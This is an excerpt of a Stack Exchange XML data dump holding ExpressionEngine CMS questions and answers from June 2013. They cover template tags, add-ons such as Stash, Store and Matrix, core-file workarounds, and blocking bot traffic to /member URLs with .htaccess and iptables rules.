  <row Id="11055" PostTypeId="2" ParentId="11025" CreationDate="2013-06-06T11:13:26.347" Score="1" Body="&lt;p&gt;I have actually &quot;fixed&quot; this now but I don't yet know if my fix will cause any problems further down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at ft.safecracker_file.php I figured that save method was to blame. Towards the end there is a ternary conditional that prefixes the upload directory name to the file. I've changed that line so it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = ($data &amp;amp;&amp;amp; isset($this-&amp;gt;settings['safecracker_upload_dir']) &amp;amp;&amp;amp; $data !== 'NULL') ? '{filedir_'.$this-&amp;gt;settings['safecracker_upload_dir'].'}'.$data : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = ($data &amp;amp;&amp;amp; isset($this-&amp;gt;settings['safecracker_upload_dir']) &amp;amp;&amp;amp; $data !== 'NULL') ? $data : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has 'solved' the issue for me but I'm unsure as to whether this was an intentional thing to avoid clashes of filenames that are in different directories - I can't really see how that could happen though. It all seems a bit odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I've seen some weirdness with some Safecracker fields not returning any data (although passing a conditional check to see if they're populated). This could well be related to my hack - although again I am not sure why. The data in these fields was existing prior to my hack and they were working afterwards but suddenly stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the fieldtype to a regular file field and back to a Safecracker file field &lt;em&gt;seems&lt;/em&gt; to have sorted it so I am not sure what happened.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-07T09:18:39.570" LastActivityDate="2013-06-07T09:18:39.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostTypeId="2" ParentId="11052" CreationDate="2013-06-06T11:19:13.813" Score="0" Body="&lt;p&gt;I don't know what the cause was but I found a solution. In system/expressionengine/libraries/core.php on line 467 change the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=login'.$return_url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this if statement is a hack to prevent auth issues in IE when requesting JS and CSS files&#xA;if($this-&amp;gt;EE-&amp;gt;router-&amp;gt;fetch_class()!=='javascript' &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;router-&amp;gt;fetch_class()!=='css') {&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=login'.$return_url);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2013-06-06T11:19:13.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11057" PostTypeId="1" CreationDate="2013-06-06T11:56:00.223" Score="1" ViewCount="101" Body="&lt;p&gt;I'm building a multilingual site, which has a fallback to English if the article isn't available in the users selected language. I'm using freebie_1 to switch the custom field for each language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still fumbling my way round Stash and guessing the following code should work. However, on the front end I'm only seeing &lt;code&gt;{cf_news_title_en}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass the &lt;code&gt;{lang}&lt;/code&gt; variable in to the custom field to render correctly? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;off&quot;}&#xA;&#xA;    {if &quot;{cf_news_title_{freebie_1}}&quot; != &quot;&quot;}&#xA;        {exp:stash:set_value name=&quot;lang&quot; value=&quot;{freebie_1}&quot;} &#xA;    {/if}&#xA;&#xA;    {if &quot;{cf_news_title_{freebie_1}}&quot; == &quot;&quot;}&#xA;        {exp:stash:set_value name=&quot;lang&quot; value=&quot;en&quot;} &#xA;    {/if}&#xA;&#xA;    {exp:stash:append_list name=&quot;news&quot;}&#xA;&#xA;        {stash:news_title}{cf_news_title_{lang}}{/stash:news_title}&#xA;        {stash:news_page_url}{site_url}{freebie_1}/news/{url_title}{/stash:news_page_url}               &#xA;        {stash:news_intro}{cf_news_intro_{lang}}{/stash:news_intro}&#xA;&#xA;    {/exp:stash:append_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;news&quot; type=&quot;snippet&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;             &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{news_page_url}&quot;&amp;gt;{news_title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        {if news_intro != &quot;&quot;}&amp;lt;p class=&quot;lead&quot;&amp;gt;{news_intro}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="820" LastEditorUserId="820" LastEditDate="2013-06-06T12:26:00.000" LastActivityDate="2013-06-07T00:55:42.263" Title="Using Stash to set Custom Field based on URL with Freebie" Tags="|stash|multilingual|freebie|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11058" PostTypeId="1" CreationDate="2013-06-06T14:50:53.657" Score="0" ViewCount="186" Body="&lt;p&gt;I tried somthing like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;images&quot; limit=&quot;10&quot; orderby=&quot;random&quot; paginate=&quot;bottom&quot;}&#xA;{title}&amp;lt;br&amp;gt;&#xA;{paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time i switch to previous page i got random images.&#xA;I there any add-ons that can do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Sam&lt;/p&gt;&#xA;" OwnerUserId="1337" LastActivityDate="2013-06-06T14:50:53.657" Title="Possibility to use orderby=&quot;random&quot;, limit=&quot;10&quot; and paginate=&quot;bottom&quot; together?" Tags="|pagination|entries|orderby|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11059" PostTypeId="1" CreationDate="2013-06-06T15:08:24.950" Score="1" ViewCount="168" Body="&lt;p&gt;I would like to display an image from the products channel on the checkout page using STORE by Exp:resso. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the normal channesl tag the image display's, but seems to show all products in the channel. If I use limit=&quot;1&quot; it only shows the one image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graham&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2013-06-12T10:07:45.687" Title="How to display a product image on the checkout page for store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11061" PostTypeId="1" CreationDate="2013-06-06T16:05:22.063" Score="1" ViewCount="64" Body="&lt;p&gt;I've installed a new site using MSM but when I hit the domain it's showing the content from our original domain. I'm not sure where to look for this.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2013-06-10T18:21:53.380" Title="MSM displaying main site when going to second site's domain?" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11062" PostTypeId="1" CreationDate="2013-06-06T16:39:34.480" Score="2" ViewCount="119" Body="&lt;p&gt;I need the basic ability to load the caption from an image (assigned in Assets) into Wygwam. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-06-06T16:39:34.480" Title="Using Assets Wygwam, how can I pull in the caption for an image in the text editor?" Tags="|assets|wygwam|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11063" PostTypeId="2" ParentId="11026" CreationDate="2013-06-06T17:05:36.467" Score="1" Body="&lt;p&gt;I have run into this before, and here is how I fixed it: If the user filling out the job application is not a member of the site, in Add-ons &gt; Modules &gt; Safecracker, you will need to &quot;allow guests to post entries&quot; on that channel (if you don't have a guest member account set up, you will need to create one). Then in your safecracker tag, you need to add logged_out_member_id=&quot;3&quot; where 3 is the id of your guest member account.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-06-06T17:05:36.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11064" PostTypeId="1" CreationDate="2013-06-06T17:56:57.490" Score="2" ViewCount="558" Body="&lt;p&gt;Running EE 2.1.1 Wygwam 2.7.1 and Assets 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Wygwam modal settings, I select Assets as the File Browser and hit save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into a Editor Configuration and the Upload Directory does not have a drop down, it just says &lt;strong&gt;no_upload_prefs&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file browser setting doesn't seem to do anything. If I add a directory to EE's file upload preferences, they show in the select list in the Editor Configuration, even though the file browser is set for Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have an insight on this!!??&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="5" LastEditDate="2013-09-13T18:12:22.863" LastActivityDate="2014-04-13T16:22:10.697" Title="Wygwam problem with Assets as file browser" Tags="|assets|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11065" PostTypeId="1" AcceptedAnswerId="11085" CreationDate="2013-06-06T18:02:15.517" Score="1" ViewCount="239" Body="&lt;p&gt;I am running the latest version of Expression Engine (2.6.1) and Matrix (2.5.5). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a Matrix field for an Award Winners listing for our website, with 2 fields - the first being Field Pack - Dropdown (for award years) and second being plain text (winner's name). In my actual code, I am pulling out the award winners in a list by year like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if award_list!=&quot;&quot;}&#xA;&#xA;        {award_list sort=&quot;desc&quot; limit=&quot;150&quot;}&#xA;&#xA;            {if award_year==&quot;{prev_row}{award_year}{/prev_row}&quot;}&#xA;&#xA;            {if:elseif award_year==&quot;{next_row}{award_year}{/next_row}&quot;}&#xA;&#xA;            {if row_index!=&quot;0&quot;}&amp;lt;br /&amp;gt;{/if}&amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;{award_year}&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/strong&amp;gt;&#xA;&#xA;            {if:else}&#xA;&#xA;            {if row_index!=&quot;0&quot;}&amp;lt;br /&amp;gt;{/if}&amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;{award_year}&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/strong&amp;gt;&#xA;&#xA;            {/if}&#xA;&#xA;            {if award_year!=&quot;{next_row}{award_year}{/next_row}&quot;}{award_winner}{if:else}{award_winner}, {/if} &#xA;&#xA;        {/award_list}&#xA;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does run successfully, but locks up when looking for the Matrix channel_entries_tagdata. This what the template debugging says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.084529 / 5.51MB)       -&amp;gt; Class Called: Channel &#xA;(0.087144 / 5.65MB)       -&amp;gt; Method Called: entries&#xA;(0.139607 / 8.05MB)      Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(0.177234 / 9.17MB)      Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(0.179309 / 9.20MB)      Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(4.989313 / 9.99MB)       -&amp;gt; Data Returned&#xA;(4.989540 / 9.98MB)       - End Tag Processing -&#xA;(4.989713 / 9.98MB)      Processing Advanced Conditionals&#xA;(5.837677 / 10.04MB)      Processing Sub Template: includes/footer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wasn't sure if there was an issue with my if statement, or there is another issue going on with the fieldtype. Any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="1406" LastActivityDate="2013-06-07T05:26:50.720" Title="Matrix Fields Causing Page to Load Very Slowly" Tags="|matrix|performance|field-pack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11066" PostTypeId="1" AcceptedAnswerId="11079" CreationDate="2013-06-06T18:23:11.160" Score="1" ViewCount="547" Body="&lt;p&gt;I have searched everywhere for a solution to this problem but have yet to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form whereby a user can filter Recipes by type and meal time. There are 10 types and 4 meal times. They are all check boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to happen is that when a user selects multiple types/meals they are return with filtered entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into dynamic parameters but it only allows one 'type' and one 'meal time' to be returned and isn't ideal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did consider using segments but it would result in a long URL which I would have to use PHP on to separate 'types'/'meals times'. I also considered using POST but it didn't work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I have to resort to Vanilla PHP for this and if so can someone provide a few pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2014-11-01T09:15:50.017" Title="Filter using check boxes" Tags="|filter|checkbox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11067" PostTypeId="1" AcceptedAnswerId="11070" CreationDate="2013-06-06T18:30:11.183" Score="4" ViewCount="613" Body="&lt;p&gt;&lt;strong&gt;Please note: The /member URL has been reconfigured already. The issue is traffic on the non-existent URL.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client who has been running EE 1.6.1. He recently inquired with me about a large number of failed delivery emails he was receiving in response to emails originating from the server. I recommended we go ahead and upgrade his site to get things current and mitigate any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His site was on a basic Media Temple VE server, so the OS &amp;amp; PHP were outdated. As part of his site upgrade I launched things anew on a Rackspace Cloud server running Ubuntu 12.0.4 and the latest apt-get PHP5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not upgrade the original site. I installed EE 2.6.1 and migrated his templates and content in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He'd been getting &quot;back door&quot; registrations via the default &lt;code&gt;/member&lt;/code&gt; URLs for years. Most were trapped in Pending. Some where in Members. All were generating emails to non-existent inboxes, which was the source of all the email he was getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fast-forward to today:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're seeing the emails decrease. However, we're seeing a large volume of requests hitting the new site on the now non-existent /member URLs. &lt;code&gt;Allow New Member Registrations&lt;/code&gt; is set to &lt;code&gt;No&lt;/code&gt; and I've changed the &lt;code&gt;Profile Triggering Word&lt;/code&gt; to a non-default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During high-volume episodes of requests on these URLs, we're seeing memory usage spike on the server and the server ultimately locking up. I've resized the server from 512MB to 1024MB (after having to reboot it) to mitigate the issue. Most of the time it's functioning quite well within 512MB (and I recently launched another client's site on an identical server with MSM, who's serving up more pages just fine with 512MB). It's the bombardment of requests on &lt;code&gt;/member&lt;/code&gt; URLs that are killing the server, and this wasn't an issue on the old site where those URLs actually functioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone dealt with such an issue? Is there away to mitigate this without continuing to throw more RAM at the server or employ edge caching? I have a hard time viewing this as simply a matter of traffic spiking, because we were seeing this volume of hits on the old server. The only difference was that it was able to respond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have &lt;code&gt;Enable Strict URLs&lt;/code&gt; set to &lt;code&gt;Yes&lt;/code&gt; and the &lt;code&gt;/member&lt;/code&gt; URLs are returning EE's 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to look at tweaking settings in Apache next. If anyone can recommend any other solutions from experience, I'd love to hear them. The site went down last night at a time that coincided with a regular spike in emails on the old server. The pattern is clear. The server was at the 1024MB RAM size overnight, so even that was insufficient during peak volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have logrotate enabled for the virtual host's access logs and set a max file size of 5MB to keep things in check there. They look to be hitting 10-20MB over the course of a day, most of which is &lt;code&gt;/member&lt;/code&gt; URLs of various form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: User Agents that I'm seeing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Culprit User Agents are consistently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few /member/email_console/##### requests from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they're not the high-volume ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @jo_nnbc's advice, I have the following now. We'll see if this puts a damper on things:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 410 /member&#xA;&#xA;BrowserMatchNoCase &quot;Mozilla/4\.0 \(compatible; MSIE 6\.0; Windows NT 5\.1; SV1;\)&quot; bad_bot&#xA;BrowserMatchNoCase &quot;Mozilla/5\.0 \(compatible; Googlebot/2\.1; \+http\://www\.google\.com/bot\.html\)&quot; bad_bot&#xA;Order Deny,Allow&#xA;Deny from env=bad_bot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After further review, here's what I have in .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 410 /member&#xA;&#xA;BrowserMatchNoCase &quot;Mozilla/4\.0 \(compatible; MSIE 6\.0; Windows NT 5\.1; SV1;\)&quot; bad_bot&#xA;BrowserMatchNoCase MJ12bot bad_bot&#xA;BrowserMatchNoCase Ezooms bad_bot&#xA;Order Deny,Allow&#xA;Deny from env=bad_bot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also checked a few of the IPs using whois.sc. They're all from China. I've added the following to my iptables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-I INPUT -m iprange --src-range 120.40.0.0-120.43.255.255 -j DROP&#xA;-I INPUT -m iprange --src-range 59.56.0.0-59.61.255.255 -j DROP&#xA;-I INPUT -m iprange --src-range 27.152.0.0-27.159.255.255 -j DROP&#xA;-I INPUT -m iprange --src-range 216.244.78.160-216.244.78.175 -j DROP&#xA;-I INPUT -m iprange --src-range 110.80.0.0-110.87.255.255 -j DROP&#xA;-I INPUT -m iprange --src-range 36.248.160.0-36.248.191.255 -j DROP&#xA;-I INPUT -m iprange --src-range 219.154.0.0-219.157.255.255 -j DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-06-06T20:03:06.863" LastActivityDate="2013-06-06T20:39:54.963" Title="/member URLs getting hammered, locking up server" Tags="|members|apache|memory|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostTypeId="2" ParentId="11067" CreationDate="2013-06-06T18:32:50.900" Score="1" Body="&lt;p&gt;Add this to your config.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['profile_trigger'] = md5(mt_rand());&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will hash the /member value and is completely unguessable by bots.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-06-06T18:32:50.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11069" PostTypeId="1" AcceptedAnswerId="11075" CreationDate="2013-06-06T18:33:59.157" Score="1" ViewCount="134" Body="&lt;p&gt;I have a basic expressionengine template which I am using to display entries for 2 different channels. I am using an embed to pass different page layouts within the center of the template, this is based on conditionals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;dog|cat&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;  (basic html here)&#xA;    {if channel == &quot;dog&quot;}&#xA;      {embed=&quot;tg/one&quot;}&#xA;    {if:elseif channel == &quot;cat&quot;}&#xA;      {embed=&quot;tg/two&quot;}&#xA;    {/if}&#xA;  (some basic html here)&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried using..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;dog|cat&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;  (basic html here)&#xA;    {if category_id == &quot;100&quot;}&#xA;      {embed=&quot;tg/one&quot;}&#xA;    {if:elseif category_id == &quot;200&quot;}&#xA;      {embed=&quot;tg/two&quot;}&#xA;    {/if}&#xA;  (some basic html here)&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When loading the final page, the parent template displays fine but doesn't show the appropriate embed or any embed for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably worth noting that the embeds do not contain any expressionengine code, just html. Could someone please explain what I am doing wrong or the best method to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1624" LastActivityDate="2013-06-06T19:44:13.677" Title="Embedding templates with conditionals" Tags="|templates|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11070" PostTypeId="2" ParentId="11067" CreationDate="2013-06-06T18:42:45.307" Score="4" Body="&lt;p&gt;Are you able to see where they are coming from? Is it coming from random user agents or specific ones? Or is the user agent blank? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;htaccess blacklist any strange user agents if that helps. Or block by some country ip addresses for now if it is specific.&lt;/p&gt;&#xA;" OwnerDisplayName="user21" LastActivityDate="2013-06-06T18:42:45.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11071" PostTypeId="1" CreationDate="2013-06-06T18:52:50.590" Score="1" ViewCount="55" Body="&lt;p&gt;this is the first time i’m using grid lite (i need it for a gallery)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;galleria&quot;&amp;gt;&#xA;          {!-- Grid Lite --}&#xA;          {exp:channel:entries channel=&quot;galleria&quot;}&#xA;            {immagini}&#xA;&#xA;              &amp;lt;img src=&quot;{immagine}&quot; /&amp;gt;&#xA;&#xA;            {/immagini}         &#xA;          {/exp:channel:entries}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where {immagini} is the grid lite’s fieldtype , and {immagine} is the grid lite’s column&#xA;but the content not shown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m doing something wrong? Thanks&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-06-06T22:07:57.247" Title="MX Grid Lite: image not shown" Tags="|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11072" PostTypeId="1" AcceptedAnswerId="11081" CreationDate="2013-06-06T19:08:19.467" Score="1" ViewCount="175" Body="&lt;p&gt;I am using Exp:resso Store to manage a shop that needs the ability to set a minimum number of products purchased, and a maximum. For instance, we may require that 4 spoons be purchased, but no more than 24. Any number between those is valid since the spoons do not come in packages of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance, the Store custom field allows us to set a total quantity in stock (next to the &quot;Limit Stock&quot; checkbox), and to set a &quot;Min Order Quantity.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set &quot;Min Order Quantity&quot; to 4, the cart will still allow me to add a single product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question #1: Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question #2: While looking at this, I found several references to &quot;max_order_qty&quot; in the code for the shipping module. Is there a way to apply this to a specific product in the cart?&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-06-06T21:51:04.997" Title="Exp:resso Store: Min/Max Order Quantity" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11073" PostTypeId="2" ParentId="11066" CreationDate="2013-06-06T19:27:43.837" Score="0" Body="&lt;p&gt;Yes, you will have to use PHP. You can create an Extension or Module and an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html#update-file-function-reference&quot; rel=&quot;nofollow&quot;&gt;ACTion URL&lt;/a&gt; to keep it clean. EE was not designed to handle this much data in an &quot;SEO-friendly&quot; or non-programmatic manner.&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-06-06T19:27:43.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11074" PostTypeId="2" ParentId="11067" CreationDate="2013-06-06T19:37:39.940" Score="0" Body="&lt;p&gt;EE's 404 page is still an EE/PHP page generation. You might lessen the server load even more with a command like this in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redirect 301 /member http://pickabaddomain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way Apache is telling them to bug off.&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-06-06T19:37:39.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11075" PostTypeId="2" ParentId="11069" CreationDate="2013-06-06T19:44:13.677" Score="4" Body="&lt;p&gt;Robert!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, let's fix your conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conditionals using numbers don't need quotation marks. From &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#simple-conditionals&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are testing against a word, you should enclose the word in single or double-quotes. If you are testing against a number, then you do not need to use quotes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if category_id == 100}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even so, this code doesn't work because &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories-tag-pair-variables&quot; rel=&quot;nofollow&quot;&gt;{category_id}&lt;/a&gt; is available just inside the {categories} variable pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better way to compare the name of a channel is using its &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-short-name&quot; rel=&quot;nofollow&quot;&gt;short_name&lt;/a&gt;. Usually the name is titlecase or it has special characters. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;dog&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I suggest you to just use embeds if you really need them. Since you just need HTML on them, try to use a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&quot; rel=&quot;nofollow&quot;&gt;global_variable&lt;/a&gt;, for better performance.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-06T19:44:13.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostTypeId="2" ParentId="11041" CreationDate="2013-06-06T19:47:48.197" Score="1" Body="&lt;p&gt;As Dylan mentioned, set a &lt;a href=&quot;https://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritebase&quot; rel=&quot;nofollow&quot;&gt;RewriteBase&lt;/a&gt;, or modify &quot;/index.php&quot; to something like &quot;/~sitename/index.php&quot;&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-06-06T19:47:48.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
